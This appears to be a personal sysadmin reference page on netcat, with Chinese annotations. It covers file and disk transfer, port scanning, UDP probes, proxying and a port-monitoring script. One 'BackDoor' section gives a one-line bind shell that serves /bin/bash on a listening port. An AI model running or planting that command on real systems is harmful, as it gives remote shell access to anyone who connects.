netcat (nc) [網絡上的利刀]

更新時間: 2018-09-21

目錄

 


安裝

 

apt-get install netcat

 


Telnet

 

# it handles binary data as regular data

nc -t 192.168.1.2

# use another source ip

nc -s <source_ip> -t <target> 25

opt:

-s, --source addr

-p, --source-port port

-C, --crlf                            # Use CRLF for EOL sequence

 


Port_Listening (Chatting)

 

nc -l -p 12345

 


Transferring File

 

Transfer File

Receiver Side

nc -v -l 6666 | gzip -d | pv > vda.qcow2

 * gzip 比 bzip2 有效

raw:    real 0m19.214s           # 96 MiB/s (Disk IO Limit)

gzip:   1.88GiB -> 873MiB      real 1m17.842s # 11.2 MiB/s

bzip2: 1.88GiB -> 818MiB      real 3m20.568s

Remark

Sender 一定要用 -w, Receiver 不用 -N 都得

-w timeout   # Connections which cannot be established or are idle timeout after timeout seconds.

-N               # shutdown(2) the network socket after EOF on the input.

-q seconds   # after EOF on stdin, wait the specified number of seconds and then quit. -N = wait forever (default)

-v               # Have nc give more verbose output.

Listening on [0.0.0.0] (family 0, port 6666)
Connection from localhost.localdomain 52152 received!

# Sender Side

gzip -c vda.qcow2 | pv | nc -w 3 127.0.0.1 6666

Clone Disk

# Destination

nc -v -l 6666 | gzip -d | dd bs=16M of=/dev/sdb

# Source

dd bs=16M if=/dev/sda | gzip -c | nc -w 3 serverB 6666

Transfer with md5 checksum

pipe

 


Port Scanning

 

$ nc -v -n -z -w 1 192.168.1.2 1-1000

-n     # prevents DNS lookup

-z     # Zero-I/O mode. In both cases, no data is transfered.

In connect mode

it means that as soon as the port is open it is immediately shutdown and closed.

In listen mode

it makes netcat refusing all the incoming connections thus running in timeout (if set), or waiting forever.

-w1   # makes the connection timeout after 1 second of inactivity

i.e.

成功

nc -z -w 1 192.168.251.42 1433

Connection to 192.168.251.42 1433 port [tcp/ms-sql-s] succeeded!

失敗

nc -z -w 1 192.168.251.42 1434

echo $?

1

UDP

 

-u      # Use UDP instead of the default option of TCP.

-v      # Have nc give more verbose output.

-w N  # sec

i.e.

nc -v  -w 1 -u 192.168.123.33 500

Connection to 192.168.123.33 500 port [udp/isakmp] succeeded!

 * 加 -v 後, 會有 3 個 udp package 發去對方.

# nc send single udp packet

echo '' | nc -u -w 1 datahunter.org 4001

 


Proxy

 

# Input (TCP Port: 1234) --> Web --> Output (TCP Port: 2345)

$ nc -l -p 1234 | nc www.google.com 80 | nc -l -p 2345

 


BackDoor

 

$ nc -l -p 12345 -e /bin/bash

 

 


Scripts

 

mon a port & e-mail alarm

chk-port.sh

#!/bin/bash

msg="IPSec_Fail - Server-X"
email="admin@domain1 admin@domain2"

# check mssql
nc -z -w 1 192.168.251.42 1433

if [ $? != 0 ];then
        echo $msg
        echo "$msg" | mail -s "$msg" $email
fi